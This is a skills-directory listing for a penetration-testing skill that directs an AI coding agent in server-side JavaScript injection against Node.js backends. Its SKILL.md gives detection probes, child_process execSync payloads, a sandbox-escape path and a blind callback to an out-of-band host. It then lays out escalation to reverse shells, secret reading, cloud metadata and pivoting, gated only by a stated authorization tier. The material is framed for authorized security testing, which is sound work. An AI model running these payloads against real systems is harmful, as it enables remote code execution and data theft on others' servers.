Skip to content
Back to skills

Server Side Js Injection

ASecurity

Server-Side JavaScript Injection (SSJI) — untrusted input reaching a Node.js eval/Function/vm/child_process or a template/serialization sink, and NoSQL JS. Detection, sandbox (vm) escape, and RCE. Tier 1 (full RCE honors the authorization gate). Payloads: payloads/command-exec.md + nosql.md. Use for Node/Express backends that evaluate input.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securityjavascriptrustjavashellsqlnodeexpressbackend

Works with

  • cli
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill server-side-js-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Server Side Js Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Server Side Js Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-server-side-js-injection/badge)](https://www.skillsdirectory.com/skills/anandjogawade-server-side-js-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: server-side-js-injection
description: "Server-Side JavaScript Injection (SSJI) — untrusted input reaching a Node.js eval/Function/vm/child_process or a template/serialization sink, and NoSQL  JS. Detection, sandbox (vm) escape, and RCE. Tier 1 (full RCE honors the authorization gate). Payloads: payloads/command-exec.md + nosql.md. Use for Node/Express backends that evaluate input."
---

# Server-Side JS Injection (SSJI)

Node apps that evaluate attacker-influenced input can be driven to RCE. Probe arithmetic first, then escalate.

## Trigger phrases
`ssji, server side javascript injection, node eval, vm escape, child_process rce, node-serialize`

## Method
1. **Detect:** inject `7*7` where output appears → `49` confirms evaluation; try `res.end(process.version)` style probes.
2. **Sinks:** `eval`, `Function`, `setTimeout/Interval(str)`, `vm`/`vm2` (escape via known gadget chains), `child_process`, template engines (→ `web-ssti` for Handlebars/Pug/Nunjucks), `node-serialize` (`_$$ND_FUNC$$_`), `` JS (→ `nosql-injection`).
3. **RCE:** `require('child_process').execSync('id')`, `global.process.mainModule.require('child_process').execSync('id')`; `vm2` sandbox-escape gadgets for the pinned version.
4. **Blind:** OAST callback (`require('child_process').execSync('nslookup x.oob.example')`).

## Escalation
RCE → reverse shell/secret read (→ `${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md`), cloud metadata, pivot. Honor the Tier gate for intrusive RCE on production.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.

## Evidence
The `49`/version proof, the sink, and execution proof (OAST or benign `id`).

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.